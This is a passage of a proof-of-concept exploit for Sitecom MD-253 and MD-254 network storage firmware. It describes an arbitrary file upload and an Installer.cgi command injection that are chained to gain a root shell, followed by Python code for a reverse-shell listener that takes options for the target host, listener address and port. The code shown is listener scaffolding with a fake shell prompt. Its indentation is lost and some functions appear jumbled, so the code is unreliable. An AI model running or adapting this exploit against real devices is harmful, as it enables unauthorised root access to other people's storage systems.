This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage devices can be combined to obtain a root shell.
Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
- granted execute permissions
- not removed after uploading if they don't contain valid firmware
- stored in a predictable location
2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
root (only a limited character set can be used due to URL-encoding by CGI-handler)
import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser
def stdin_thread(self, sock):
try:
fd = sys.stdin.fileno()
while True:
data = os.read(fd, 1024)
if not data:
break
while True:
nleft = len(data)
nleft -= sock.send(data)
if nleft == 0:
break
except:
pass
sock.close()
self.running = False
def stdout_thread(self, sock):
last = datetime.datetime.now()
try:
fd = sys.stdout.fileno()
while True:
if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
sys.stderr.write('# '); # Insert fake prompt
last = datetime.datetime.now()
data = sock.recv(1024)
if not data:
break
while True:
nleft = len(data)
nleft -= os.write(fd, data)
if nleft == 0:
break
except Exception as e:
print e
pass
sock.close()
self.running = False
def parse_options(self):
parser = OptionParser(usage="usage: %prog [options]")
parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname",
help="Specify the host to connect to")
parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip",
help="Target IP for reverse shell connection")
parser.add_option("-p","--port",action="store",type="int",dest="port",
help="TCP port for the reverse shell connection")
try:
self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
except socket.error:
sys.stderr.write("[-] Unable to set TCP_NODELAY")
try:
self.serv.bind((self.listener_ip, self.port))
except:
print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall."
try:
self.serv.bind(('', self.port))
except:
print "[-] Unable to bind to default address. Aborting."
sys.exit(2)
print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)